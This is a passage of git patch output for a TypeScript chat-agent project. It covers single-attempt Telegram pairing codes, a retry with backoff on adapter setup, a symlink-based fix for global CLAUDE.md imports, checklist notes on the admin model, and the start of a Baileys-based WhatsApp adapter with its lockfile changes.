intent)) { + r.status = 'expired'; + log.info('Pairing superseded by new request', { code: r.code, intent }); + } + } const active = new Set(store.pairings.filter((r) => r.status === 'pending').map((r) => r.code)); const now = new Date(); const record: PairingRecord = { @@ -172,7 +197,28 @@ export async function tryConsume(input: ConsumeInput): Promise r.code === code && r.status === 'pending'); if (!record) { + // Miss: record the attempt on every currently-pending record so each + // waitForPairing caller can surface it as user feedback. + const attempt: PairingAttempt = { + candidate: code, + platformId: input.platformId, + at: new Date(now).toISOString(), + matched: false, + }; + let recorded = false; + for (const r of store.pairings) { + if (r.status !== 'pending') continue; + r.attempts = [...(r.attempts ?? []), attempt].slice(-MAX_ATTEMPTS_PER_RECORD); + // One attempt per code. A wrong guess invalidates the pairing + // immediately — pair-telegram observes the `expired` signal and + // auto-issues a fresh code (up to a retry cap). + r.status = 'expired'; + recorded = true; + } writeStore(store); + if (recorded) { + log.info('Pairing invalidated by wrong attempt', { candidate: code, platformId: input.platformId }); + } return null; } record.status = 'consumed'; @@ -183,6 +229,10 @@ export async function tryConsume(input: ConsumeInput): Promise void; } /** @@ -238,6 +290,7 @@ export async function waitForPairing(code: string, opts: WaitForPairingOptions = if (interval) clearInterval(interval); }; + let seenAttempts = 0; const check = () => { if (settled) return; const r = getPairing(code); @@ -246,6 +299,21 @@ export async function waitForPairing(code: string, opts: WaitForPairingOptions = reject(new Error(`Pairing ${code} disappeared`)); return; } + // Surface any new miss attempts since the last tick. Only fire for + // misses — matches are signaled by `status === 'consumed'` below. + if (opts.onAttempt && r.attempts) { + for (let i = seenAttempts; i < r.attempts.length; i++) { + const a = r.attempts[i]; + if (!a.matched) { + try { + opts.onAttempt(a); + } catch { + /* ignore */ + } + } + } + seenAttempts = r.attempts.length; + } if (r.status === 'consumed') { cleanup(); resolve(r); @@ -253,7 +321,14 @@ export async function waitForPairing(code: string, opts: WaitForPairingOptions = } if (r.status === 'expired' || Date.now() >= deadline) { cleanup(); - reject(new Error(`Pairing ${code} expired`)); + const lastMiss = r.attempts + ?.slice() + .reverse() + .find((a) => !a.matched); + const reason = lastMiss + ? `Pairing ${code} invalidated by wrong code (${lastMiss.candidate})` + : `Pairing ${code} expired`; + reject(new Error(reason)); return; } }; From ae88d2b7c238ff0c2bb945a591f35c26c27579df Mon Sep 17 00:00:00 2001 From: Koshkoshinsk Date: Mon, 13 Apr 2026 12:27:45 +0000 Subject: [PATCH 133/485] fix(telegram): retry adapter setup on transient network errors MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Cold-start DNS/network hiccups can fail the adapter's first deleteWebhook or getMe call, leaving the channel silently dead while the service stays up. Wrap bridge.setup in an exponential-backoff retry (5 attempts) — if the network is truly down we surface it instead of hanging forever. Lives in telegram.ts so the chat-sdk bridge stays generic; other channels can opt in by copying the small helper if they hit the same issue. --- src/channels/telegram.ts | 24 +++++++++++++++++++++++- 1 file changed, 23 insertions(+), 1 deletion(-) diff --git a/src/channels/telegram.ts b/src/channels/telegram.ts index eb99f8a..6580770 100644 --- a/src/channels/telegram.ts +++ b/src/channels/telegram.ts @@ -13,6 +13,28 @@ import { registerChannelAdapter } from './channel-registry.js'; import type { ChannelAdapter, ChannelSetup, InboundMessage } from './adapter.js'; import { tryConsume } from './telegram-pairing.js'; +/** + * Retry a one-shot operation that can fail on transient network errors at + * cold-start (DNS hiccups, brief upstream outages). Exponential backoff capped + * at 5 attempts — if the network is truly down we surface it instead of + * hanging the service indefinitely. + */ +async function withRetry(fn: () => Promise, label: string, maxAttempts = 5): Promise { + let lastErr: unknown; + for (let attempt = 1; attempt <= maxAttempts; attempt++) { + try { + return await fn(); + } catch (err) { + lastErr = err; + if (attempt === maxAttempts) break; + const delay = Math.min(16000, 1000 * 2 ** (attempt - 1)); + log.warn('Telegram setup failed, retrying', { label, attempt, delayMs: delay, err }); + await new Promise((r) => setTimeout(r, delay)); + } + } + throw lastErr; +} + // eslint-disable-next-line @typescript-eslint/no-explicit-any function extractReplyContext(raw: Record): ReplyContext | null { if (!raw.reply_to_message) return null; @@ -144,7 +166,7 @@ registerChannelAdapter('telegram', { ...hostConfig, onInbound: createPairingInterceptor(botUsernamePromise, hostConfig.onInbound), }; - return bridge.setup(intercepted); + return withRetry(() => bridge.setup(intercepted), 'bridge.setup'); }, }; return wrapped; From 9a955b9b015488db891110f1f6165547d039f06f Mon Sep 17 00:00:00 2001 From: Koshkoshinsk Date: Mon, 13 Apr 2026 12:49:22 +0000 Subject: [PATCH 134/485] docs(v2-checklist): plan main/non-main -> owner/admin refactor Pairing-code registration applies to every Telegram group once the privileged "main chat" identity goes away. Co-Authored-By: Claude Opus 4.6 (1M context) --- docs/v2-checklist.md | 1 + 1 file changed, 1 insertion(+) diff --git a/docs/v2-checklist.md b/docs/v2-checklist.md index b5c1196..350ef79 100644 --- a/docs/v2-checklist.md +++ b/docs/v2-checklist.md @@ -154,6 +154,7 @@ Status: [x] done, [~] partial, [ ] not started - [x] Admin user ID per group - [x] Admin-only command filtering in container - [ ] Admin model refactor — instance-level default admin (user + messaging app) for all approval routing, overridable per agent group; deliver approval cards to admin's DM when the platform supports it +- [ ] Replace the `is_admin`/main vs. non-main distinction on agent groups with an explicit owner/admin model — every agent group has a recorded owner (the platform user who created or installed it) and an admin (who receives approvals and can change wiring); the two default to the same identity but can diverge (e.g. handoff). Drops the "main group = admin group" coupling. Downstream consequence: non-main group registration on Telegram must use the same pairing-code flow as main (`setup --step pair-telegram` with a `wire-to:` or `new-agent:` intent), since there's no longer a privileged "main" chat whose identity is trusted transitively — every group binds its own admin at registration time. - [x] Approval flow (sensitive action -> card to admin -> approve/reject -> execute) — `pending_approvals` table, `requestApproval()` helper, reuses interactive card infra - [x] Agent requests dependency/package install (install_packages, admin approval, rebuild on approval) - [x] Self-modification — direct tools: From 871bfa180983cded351b33313481759ffd530ab9 Mon Sep 17 00:00:00 2001 From: gavrielc Date: Mon, 13 Apr 2026 16:46:36 +0300 Subject: [PATCH 135/485] fix(v2): use in-tree symlink for global CLAUDE.md @import MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Claude Code's @-import directive only follows paths inside the project memory tree (cwd + ancestors). Both `@/workspace/global/CLAUDE.md` and `@../global/CLAUDE.md` are silently ignored because `/workspace/global` is outside `/workspace/agent` (the cwd). The import line is parsed but the content is never loaded — validated with a sentinel passphrase test against a live container. Fix: drop a `.claude-global.md` symlink into each group's dir pointing at `/workspace/global/CLAUDE.md`. The link path is absolute on container terms (dangling on host, valid via the /workspace/global mount) and the symlink file itself is inside cwd, so Claude's @-import is happy. The group's CLAUDE.md imports via `@./.claude-global.md`. - src/group-init.ts: initGroupFilesystem now drops the symlink (idempotent, uses lstat so existsSync doesn't trip on the dangling target on the host). Default CLAUDE.md body uses `@./.claude-global.md`. - scripts/migrate-group-claude-md.ts: creates the symlink for existing groups and rewrites any broken `@/workspace/global/CLAUDE.md` or `@../global/CLAUDE.md` import line to `@./.claude-global.md`. - groups/main/CLAUDE.md: migration rewrote the import. Validated: live container with the symlinked import correctly surfaces global CLAUDE.md content (passphrase `quinoa-submarine-42` added to global, retrieved via claude -p, removed). Co-Authored-By: Claude Opus 4.6 (1M context) --- groups/main/CLAUDE.md | 3 +- scripts/migrate-group-claude-md.ts | 86 +++++++++++++++++++++++------- src/group-init.ts | 29 +++++++++- 3 files changed, 96 insertions(+), 22 deletions(-) diff --git a/groups/main/CLAUDE.md b/groups/main/CLAUDE.md index d07793f..cb1c3cc 100644 --- a/groups/main/CLAUDE.md +++ b/groups/main/CLAUDE.md @@ -1,5 +1,4 @@ -@/workspace/global/CLAUDE.md - +@./.claude-global.md # Main You are Main, a personal assistant. You help with tasks, answer questions, and can schedule reminders. diff --git a/scripts/migrate-group-claude-md.ts b/scripts/migrate-group-claude-md.ts index 568e381..a1c1691 100644 --- a/scripts/migrate-group-claude-md.ts +++ b/scripts/migrate-group-claude-md.ts @@ -1,13 +1,26 @@ /** - * One-shot migration: prepend `@/workspace/global/CLAUDE.md` to each - * existing group's CLAUDE.md so it imports the global memory under the - * new model where the host no longer reads global CLAUDE.md at bootstrap. + * One-shot migration: wire each existing group up to global memory via + * an in-tree symlink + @-import. * - * - Skips entirely if `groups/global/CLAUDE.md` doesn't exist (nothing - * to import; running the script would just add a broken @-import). - * - Skips any group whose CLAUDE.md already references - * `/workspace/global/CLAUDE.md` (idempotent). - * - Skips groups with no CLAUDE.md (nothing to prepend to). + * Claude Code's @-import only follows paths inside cwd, so a direct + * `@/workspace/global/CLAUDE.md` or `@../global/CLAUDE.md` silently does + * nothing (the import line is parsed but the target file is never + * loaded into context). The working approach: + * + * 1. Symlink `groups//.claude-global.md` → + * `/workspace/global/CLAUDE.md` (container path; dangling on host, + * valid inside the container via the /workspace/global mount). + * 2. Have the group's CLAUDE.md import the symlink: + * `@./.claude-global.md`. + * + * This script: + * - Creates the symlink if missing. + * - Replaces any existing broken `@/workspace/global/CLAUDE.md` or + * `@../global/CLAUDE.md` import line with the symlink form. + * - Prepends the symlink import if neither form is present. + * - Skips entirely if `groups/global/CLAUDE.md` doesn't exist. + * + * Idempotent — safe to re-run. * * Usage: npx tsx scripts/migrate-group-claude-md.ts */ @@ -17,11 +30,14 @@ import path from 'path'; import { GROUPS_DIR } from '../src/config.js'; const GLOBAL_CLAUDE_MD = path.join(GROUPS_DIR, 'global', 'CLAUDE.md'); -const IMPORT_LINE = '@/workspace/global/CLAUDE.md'; -// Must match the @-import syntax exactly — a bare path reference inside -// instructional prose ("you can write to /workspace/global/CLAUDE.md") -// shouldn't count as "already wired." -const IMPORT_REGEX = /@\/workspace\/global\/CLAUDE\.md/; +const GLOBAL_MEMORY_CONTAINER_PATH = '/workspace/global/CLAUDE.md'; +const GLOBAL_MEMORY_LINK_NAME = '.claude-global.md'; +const IMPORT_LINE = `@./${GLOBAL_MEMORY_LINK_NAME}`; + +// Match any existing @-import that points at global/CLAUDE.md, whether +// via absolute path, relative path, or the new symlink form. +const EXISTING_IMPORT_REGEX = + /^@(?:\/workspace\/global\/CLAUDE\.md|\.\.\/global\/CLAUDE\.md|\.\/\.claude-global\.md)\s*$/m; if (!fs.existsSync(GLOBAL_CLAUDE_MD)) { console.error(`No global CLAUDE.md at ${GLOBAL_CLAUDE_MD} — nothing to migrate.`); @@ -37,12 +53,31 @@ const entries = fs.readdirSync(GROUPS_DIR, { withFileTypes: true }); let updated = 0; let alreadyWired = 0; let missingClaudeMd = 0; +let symlinksCreated = 0; for (const entry of entries) { if (!entry.isDirectory()) continue; - if (entry.name === 'global') continue; // not a group + if (entry.name === 'global') continue; - const claudeMd = path.join(GROUPS_DIR, entry.name, 'CLAUDE.md'); + const groupDir = path.join(GROUPS_DIR, entry.name); + + // Symlink (idempotent — skip if already present) + const linkPath = path.join(groupDir, GLOBAL_MEMORY_LINK_NAME); + let linkExists = false; + try { + fs.lstatSync(linkPath); + linkExists = true; + } catch { + /* missing */ + } + if (!linkExists) { + fs.symlinkSync(GLOBAL_MEMORY_CONTAINER_PATH, linkPath); + console.log(`[link] ${entry.name}: created ${GLOBAL_MEMORY_LINK_NAME}`); + symlinksCreated++; + } + + // CLAUDE.md import wiring + const claudeMd = path.join(groupDir, 'CLAUDE.md'); if (!fs.existsSync(claudeMd)) { console.log(`[skip] ${entry.name}: no CLAUDE.md`); missingClaudeMd++; @@ -50,16 +85,29 @@ for (const entry of entries) { } const body = fs.readFileSync(claudeMd, 'utf-8'); - if (IMPORT_REGEX.test(body)) { + const match = body.match(EXISTING_IMPORT_REGEX); + + if (match && match[0] === IMPORT_LINE) { console.log(`[wired] ${entry.name}: already imports ${IMPORT_LINE}`); alreadyWired++; continue; } - const newBody = `${IMPORT_LINE}\n\n${body}`; + let newBody: string; + if (match) { + // Replace the broken import with the working form + newBody = body.replace(EXISTING_IMPORT_REGEX, IMPORT_LINE); + console.log(`[fix] ${entry.name}: rewrote ${match[0]} → ${IMPORT_LINE}`); + } else { + // Prepend fresh + newBody = `${IMPORT_LINE}\n\n${body}`; + console.log(`[ok] ${entry.name}: prepended ${IMPORT_LINE}`); + } + fs.writeFileSync(claudeMd, newBody); - console.log(`[ok] ${entry.name}: prepended import`); updated++; } -console.log(`\nDone. updated=${updated} alreadyWired=${alreadyWired} missingClaudeMd=${missingClaudeMd}`); +console.log( + `\nDone. updated=${updated} alreadyWired=${alreadyWired} missingClaudeMd=${missingClaudeMd} symlinksCreated=${symlinksCreated}`, +); diff --git a/src/group-init.ts b/src/group-init.ts index 6419632..a04679f 100644 --- a/src/group-init.ts +++ b/src/group-init.ts @@ -5,7 +5,17 @@ import { DATA_DIR, GROUPS_DIR } from './config.js'; import { log } from './log.js'; import type { AgentGroup } from './types.js'; -const GLOBAL_CLAUDE_IMPORT = '@/workspace/global/CLAUDE.md'; +// Container path where groups/global is mounted. The symlink we drop +// into each group's dir resolves to this target inside the container. +// It's a dangling symlink on the host — that's fine, host tools don't +// follow it and the container mount makes it valid at read time. +const GLOBAL_MEMORY_CONTAINER_PATH = '/workspace/global/CLAUDE.md'; + +// Symlink name inside the group's dir. Claude Code's @-import only +// follows paths inside cwd, so we can't reference /workspace/global +// directly — we symlink into the group dir and import the symlink. +export const GLOBAL_MEMORY_LINK_NAME = '.claude-global.md'; +export const GLOBAL_CLAUDE_IMPORT = `@./${GLOBAL_MEMORY_LINK_NAME}`; const DEFAULT_SETTINGS_JSON = JSON.stringify( @@ -41,6 +51,23 @@ export function initGroupFilesystem(group: AgentGroup, opts?: { instructions?: s initialized.push('groupDir'); } + // groups//.claude-global.md — symlink into the group dir so + // Claude Code's @-import can follow it. Uses lstat to avoid tripping + // existsSync on a dangling symlink (target only resolves inside the + // container). + const globalLinkPath = path.join(groupDir, GLOBAL_MEMORY_LINK_NAME); + let linkExists = false; + try { + fs.lstatSync(globalLinkPath); + linkExists = true; + } catch { + /* missing — recreate */ + } + if (!linkExists) { + fs.symlinkSync(GLOBAL_MEMORY_CONTAINER_PATH, globalLinkPath); + initialized.push('.claude-global.md'); + } + // groups//CLAUDE.md — written once, then owned by the group const claudeMdFile = path.join(groupDir, 'CLAUDE.md'); if (!fs.existsSync(claudeMdFile)) { From d16755eabcd2732d54fe8377c3ecc932a3f68255 Mon Sep 17 00:00:00 2001 From: Koshkoshinsk Date: Mon, 13 Apr 2026 14:08:51 +0000 Subject: [PATCH 136/485] docs(v2-checklist): note self-approval UX gap --- docs/v2-checklist.md | 1 + 1 file changed, 1 insertion(+) diff --git a/docs/v2-checklist.md b/docs/v2-checklist.md index 350ef79..561b810 100644 --- a/docs/v2-checklist.md +++ b/docs/v2-checklist.md @@ -154,6 +154,7 @@ Status: [x] done, [~] partial, [ ] not started - [x] Admin user ID per group - [x] Admin-only command filtering in container - [ ] Admin model refactor — instance-level default admin (user + messaging app) for all approval routing, overridable per agent group; deliver approval cards to admin's DM when the platform supports it +- [ ] Self-approval UX: when the user requesting a sensitive action IS the recorded admin/owner of the agent group, the agent still posts an Approve button back to that same person and narrates "waiting on admin approval" — confusing, redundant, and the "waiting" line stays visible even after the user immediately clicks approve. - [ ] Replace the `is_admin`/main vs. non-main distinction on agent groups with an explicit owner/admin model — every agent group has a recorded owner (the platform user who created or installed it) and an admin (who receives approvals and can change wiring); the two default to the same identity but can diverge (e.g. handoff). Drops the "main group = admin group" coupling. Downstream consequence: non-main group registration on Telegram must use the same pairing-code flow as main (`setup --step pair-telegram` with a `wire-to:` or `new-agent:` intent), since there's no longer a privileged "main" chat whose identity is trusted transitively — every group binds its own admin at registration time. - [x] Approval flow (sensitive action -> card to admin -> approve/reject -> execute) — `pending_approvals` table, `requestApproval()` helper, reuses interactive card infra - [x] Agent requests dependency/package install (install_packages, admin approval, rebuild on approval) From c303b6eb14e0a792c675a4680065d3913bfea6b2 Mon Sep 17 00:00:00 2001 From: Gabi Simons Date: Mon, 13 Apr 2026 14:53:59 +0000 Subject: [PATCH 137/485] feat(v2): add native WhatsApp adapter using Baileys v6 MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Direct ChannelAdapter implementation — no Chat SDK bridge. Ports v1 infrastructure: getMessage fallback, outgoing queue, group metadata cache, LID-to-phone mapping, auto-reconnect. Auth via pairing code (WHATSAPP_PHONE_NUMBER) or QR code. Text messaging only (MVP). Not yet implemented: - File/image attachments (send and receive) - Edit message, delete message - Reactions - Bot echo filtering (own messages loop back as inbound) Co-Authored-By: Claude Opus 4.6 (1M context) --- package-lock.json | 905 ++++++++++++++++++++++++++++++++++++++- package.json | 6 +- src/channels/index.ts | 3 +- src/channels/whatsapp.ts | 530 +++++++++++++++++++++++ 4 files changed, 1436 insertions(+), 8 deletions(-) create mode 100644 src/channels/whatsapp.ts diff --git a/package-lock.json b/package-lock.json index bd9276d..b6229cf 100644 --- a/package-lock.json +++ b/package-lock.json @@ -21,10 +21,14 @@ "@chat-adapter/whatsapp": "^4.24.0", "@onecli-sh/sdk": "^0.3.1", "@resend/chat-sdk-adapter": "^0.1.1", + "@types/qrcode": "^1.5.6", + "@whiskeysockets/baileys": "^6.7.21", "better-sqlite3": "11.10.0", "chat": "^4.24.0", "chat-adapter-imessage": "^0.1.1", - "cron-parser": "5.5.0" + "cron-parser": "5.5.0", + "pino": "^9.6.0", + "qrcode": "^1.5.4" }, "devDependencies": { "@eslint/js": "^9.35.0", @@ -105,6 +109,95 @@ "chat": "^4.15.0" } }, + "node_modules/@borewit/text-codec": { + "version": "0.2.2", + "resolved": "https://registry.npmjs.org/@borewit/text-codec/-/text-codec-0.2.2.tgz", + "integrity": "sha512-DDaRehssg1aNrH4+2hnj1B7vnUGEjU6OIlyRdkMd0aUdIUvKXrJfXsy8LVtXAy7DRvYVluWbMspsRhz2lcW0mQ==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/Borewit" + } + }, + "node_modules/@cacheable/memory": { + "version": "2.0.8", + "resolved": "https://registry.npmjs.org/@cacheable/memory/-/memory-2.0.8.tgz", + "integrity": "sha512-FvEb29x5wVwu/Kf93IWwsOOEuhHh6dYCJF3vcKLzXc0KXIW181AOzv6ceT4ZpBHDvAfG60eqb+ekmrnLHIy+jw==", + "license": "MIT", + "dependencies": { + "@cacheable/utils": "^2.4.0", + "@keyv/bigmap": "^1.3.1", + "hookified": "^1.15.1", + "keyv": "^5.6.0" + } + }, + "node_modules/@cacheable/memory/node_modules/@keyv/bigmap": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/@keyv/bigmap/-/bigmap-1.3.1.tgz", + "integrity": "sha512-WbzE9sdmQtKy8vrNPa9BRnwZh5UF4s1KTmSK0KUVLo3eff5BlQNNWDnFOouNpKfPKDnms9xynJjsMYjMaT/aFQ==", + "license": "MIT", + "dependencies": { + "hashery": "^1.4.0", + "hookified": "^1.15.0" + }, + "engines": { + "node": ">= 18" + }, + "peerDependencies": { + "keyv": "^5.6.0" + } + }, + "node_modules/@cacheable/memory/node_modules/keyv": { + "version": "5.6.0", + "resolved": "https://registry.npmjs.org/keyv/-/keyv-5.6.0.tgz", + "integrity": "sha512-CYDD3SOtsHtyXeEORYRx2qBtpDJFjRTGXUtmNEMGyzYOKj1TE3tycdlho7kA1Ufx9OYWZzg52QFBGALTirzDSw==", + "license": "MIT", + "dependencies": { + "@keyv/serialize": "^1.1.1" + } + }, + "node_modules/@cacheable/node-cache": { + "version": "1.7.6", + "resolved": "https://registry.npmjs.org/@cacheable/node-cache/-/node-cache-1.7.6.tgz", + "integrity": "sha512-6Omk2SgNnjtxB5f/E6bTIWIt5xhdpx39fGNRQgU9lojvRxU68v+qY+SXXLsp3ZGukqoPjsK21wZ6XABFr/Ge3A==", + "license": "MIT", + "dependencies": { + "cacheable": "^2.3.1", + "hookified": "^1.14.0", + "keyv": "^5.5.5" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/@cacheable/node-cache/node_modules/keyv": { + "version": "5.6.0", + "resolved": "https://registry.npmjs.org/keyv/-/keyv-5.6.0.tgz", + "integrity": "sha512-CYDD3SOtsHtyXeEORYRx2qBtpDJFjRTGXUtmNEMGyzYOKj1TE3tycdlho7kA1Ufx9OYWZzg52QFBGALTirzDSw==", + "license": "MIT", + "dependencies": { + "@keyv/serialize": "^1.1.1" + } + }, + "node_modules/@cacheable/utils": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/@cacheable/utils/-/utils-2.4.1.tgz", + "integrity": "sha512-eiFgzCbIneyMlLOmNG4g9xzF7Hv3Mga4LjxjcSC/ues6VYq2+gUbQI8JqNuw/ZM8tJIeIaBGpswAsqV2V7ApgA==", + "license": "MIT", + "dependencies": { + "hashery": "^1.5.1", + "keyv": "^5.6.0" + } + }, + "node_modules/@cacheable/utils/node_modules/keyv": { + "version": "5.6.0", + "resolved": "https://registry.npmjs.org/keyv/-/keyv-5.6.0.tgz", + "integrity": "sha512-CYDD3SOtsHtyXeEORYRx2qBtpDJFjRTGXUtmNEMGyzYOKj1TE3tycdlho7kA1Ufx9OYWZzg52QFBGALTirzDSw==", + "license": "MIT", + "dependencies": { + "@keyv/serialize": "^1.1.1" + } + }, "node_modules/@chat-adapter/discord": { "version": "4.24.0", "resolved": "https://registry.npmjs.org/@chat-adapter/discord/-/discord-4.24.0.tgz", @@ -1015,6 +1108,21 @@ "graphql": "^0.8.0 || ^0.9.0 || ^0.10.0 || ^0.11.0 || ^0.12.0 || ^0.13.0 || ^14.0.0 || ^15.0.0 || ^16.0.0 || ^17.0.0" } }, + "node_modules/@hapi/boom": { + "version": "9.1.4", + "resolved": "https://registry.npmjs.org/@hapi/boom/-/boom-9.1.4.tgz", + "integrity": "sha512-Ls1oH8jaN1vNsqcaHVYJrKmgMcKsC1wcp8bujvXrHaAqD2iDYq3HoOwsxwo09Cuda5R5nC0o0IxlrlTuvPuzSw==", + "license": "BSD-3-Clause", + "dependencies": { + "@hapi/hoek": "9.x.x" + } + }, + "node_modules/@hapi/hoek": { + "version": "9.3.0", + "resolved": "https://registry.npmjs.org/@hapi/hoek/-/hoek-9.3.0.tgz", + "integrity": "sha512-/c6rf4UJlmHlC9b5BaNvzAcFv7HZ2QHaV0D4/HNlBdvFnvQq8RI4kYdhyPCl7Xj+oWvTWQ8ujhqS53LIgAe6KQ==", + "license": "BSD-3-Clause" + }, "node_modules/@humanfs/core": { "version": "0.19.1", "resolved": "https://registry.npmjs.org/@humanfs/core/-/core-0.19.1.tgz", @@ -1535,6 +1643,12 @@ "dev": true, "license": "MIT" }, + "node_modules/@keyv/serialize": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/@keyv/serialize/-/serialize-1.1.1.tgz", + "integrity": "sha512-dXn3FZhPv0US+7dtJsIi2R+c7qWYiReoEh5zUntWCf4oSpMNib8FDhSoed6m3QyZdx5hK7iLFkYk3rNxwt8vTA==", + "license": "MIT" + }, "node_modules/@linear/sdk": { "version": "76.0.0", "resolved": "https://registry.npmjs.org/@linear/sdk/-/sdk-76.0.0.tgz", @@ -1940,6 +2054,76 @@ "node": "20.x || 22.x || 23.x || 24.x || 25.x" } }, + "node_modules/@pinojs/redact": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/@pinojs/redact/-/redact-0.4.0.tgz", + "integrity": "sha512-k2ENnmBugE/rzQfEcdWHcCY+/FM3VLzH9cYEsbdsoqrvzAKRhUZeRNhAZvB8OitQJ1TBed3yqWtdjzS6wJKBwg==", + "license": "MIT" + }, + "node_modules/@protobufjs/aspromise": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@protobufjs/aspromise/-/aspromise-1.1.2.tgz", + "integrity": "sha512-j+gKExEuLmKwvz3OgROXtrJ2UG2x8Ch2YZUxahh+s1F2HZ+wAceUNLkvy6zKCPVRkU++ZWQrdxsUeQXmcg4uoQ==", + "license": "BSD-3-Clause" + }, + "node_modules/@protobufjs/base64": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@protobufjs/base64/-/base64-1.1.2.tgz", + "integrity": "sha512-AZkcAA5vnN/v4PDqKyMR5lx7hZttPDgClv83E//FMNhR2TMcLUhfRUBHCmSl0oi9zMgDDqRUJkSxO3wm85+XLg==", + "license": "BSD-3-Clause" + }, + "node_modules/@protobufjs/codegen": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/@protobufjs/codegen/-/codegen-2.0.4.tgz", + "integrity": "sha512-YyFaikqM5sH0ziFZCN3xDC7zeGaB/d0IUb9CATugHWbd1FRFwWwt4ld4OYMPWu5a3Xe01mGAULCdqhMlPl29Jg==", + "license": "BSD-3-Clause" + }, + "node_modules/@protobufjs/eventemitter": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/@protobufjs/eventemitter/-/eventemitter-1.1.0.tgz", + "integrity": "sha512-j9ednRT81vYJ9OfVuXG6ERSTdEL1xVsNgqpkxMsbIabzSo3goCjDIveeGv5d03om39ML71RdmrGNjG5SReBP/Q==", + "license": "BSD-3-Clause" + }, + "node_modules/@protobufjs/fetch": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/@protobufjs/fetch/-/fetch-1.1.0.tgz", + "integrity": "sha512-lljVXpqXebpsijW71PZaCYeIcE5on1w5DlQy5WH6GLbFryLUrBD4932W/E2BSpfRJWseIL4v/KPgBFxDOIdKpQ==", + "license": "BSD-3-Clause", + "dependencies": { + "@protobufjs/aspromise": "^1.1.1", + "@protobufjs/inquire": "^1.1.0" + } + }, + "node_modules/@protobufjs/float": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/@protobufjs/float/-/float-1.0.2.tgz", + "integrity": "sha512-Ddb+kVXlXst9d+R9PfTIxh1EdNkgoRe5tOX6t01f1lYWOvJnSPDBlG241QLzcyPdoNTsblLUdujGSE4RzrTZGQ==", + "license": "BSD-3-Clause" + }, + "node_modules/@protobufjs/inquire": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/@protobufjs/inquire/-/inquire-1.1.0.tgz", + "integrity": "sha512-kdSefcPdruJiFMVSbn801t4vFK7KB/5gd2fYvrxhuJYg8ILrmn9SKSX2tZdV6V+ksulWqS7aXjBcRXl3wHoD9Q==", + "license": "BSD-3-Clause" + }, + "node_modules/@protobufjs/path": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@protobufjs/path/-/path-1.1.2.tgz", + "integrity": "sha512-6JOcJ5Tm08dOHAbdR3GrvP+yUUfkjG5ePsHYczMFLq3ZmMkAD98cDgcT2iA1lJ9NVwFd4tH/iSSoe44YWkltEA==", + "license": "BSD-3-Clause" + }, + "node_modules/@protobufjs/pool": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/@protobufjs/pool/-/pool-1.1.0.tgz", + "integrity": "sha512-0kELaGSIDBKvcgS4zkjz1PeddatrjYcmMWOlAuAPwAeccUrPHdUqo/J6LiymHHEiJT5NrF1UVwxY14f+fy4WQw==", + "license": "BSD-3-Clause" + }, + "node_modules/@protobufjs/utf8": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/@protobufjs/utf8/-/utf8-1.1.0.tgz", + "integrity": "sha512-Vvn3zZrhQZkkBE8LSuW3em98c0FwgO4nxzv6OdSxPKJIEKY2bGbHn+mhGIPerzI4twdxaP8/0+06HBpwf345Lw==", + "license": "BSD-3-Clause" + }, "node_modules/@react-email/body": { "version": "0.2.1", "resolved": "https://registry.npmjs.org/@react-email/body/-/body-0.2.1.tgz", @@ -2821,6 +3005,29 @@ "dev": true, "license": "MIT" }, + "node_modules/@tokenizer/inflate": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/@tokenizer/inflate/-/inflate-0.4.1.tgz", + "integrity": "sha512-2mAv+8pkG6GIZiF1kNg1jAjh27IDxEPKwdGul3snfztFerfPGI1LjDezZp3i7BElXompqEtPmoPx6c2wgtWsOA==", + "license": "MIT", + "dependencies": { + "debug": "^4.4.3", + "token-types": "^6.1.1" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/Borewit" + } + }, + "node_modules/@tokenizer/token": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/@tokenizer/token/-/token-0.3.0.tgz", + "integrity": "sha512-OvjF+z51L3ov0OyAU0duzsYuvO01PH7x4t6DJx+guahgTnBHkhJdG7soQeTSFLWN3efnHyibZ4Z8l2EuWwJN3A==", + "license": "MIT" + }, "node_modules/@types/better-sqlite3": { "version": "7.6.13", "resolved": "https://registry.npmjs.org/@types/better-sqlite3/-/better-sqlite3-7.6.13.tgz", @@ -2896,6 +3103,12 @@ "@types/node": "*" } }, + "node_modules/@types/long": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/@types/long/-/long-4.0.2.tgz", + "integrity": "sha512-MqTGEo5bj5t157U6fA/BiDynNkn0YknVdh48CMPkTSpFTVmvao5UQmm7uEF6xBEo7qIMAlY/JSleYaE6VOdpaA==", + "license": "MIT" + }, "node_modules/@types/mdast": { "version": "4.0.4", "resolved": "https://registry.npmjs.org/@types/mdast/-/mdast-4.0.4.tgz", @@ -2920,6 +3133,15 @@ "undici-types": "~6.21.0" } }, + "node_modules/@types/qrcode": { + "version": "1.5.6", + "resolved": "https://registry.npmjs.org/@types/qrcode/-/qrcode-1.5.6.tgz", + "integrity": "sha512-te7NQcV2BOvdj2b1hCAHzAoMNuj65kNBMz0KBaxM6c3VGBOhU0dURQKOtH8CFNI/dsKkwlv32p26qYQTWoB5bw==", + "license": "MIT", + "dependencies": { + "@types/node": "*" + } + }, "node_modules/@types/retry": { "version": "0.12.0", "resolved": "https://registry.npmjs.org/@types/retry/-/retry-0.12.0.tgz", @@ -3335,6 +3557,44 @@ "npm": ">=7.0.0" } }, + "node_modules/@whiskeysockets/baileys": { + "version": 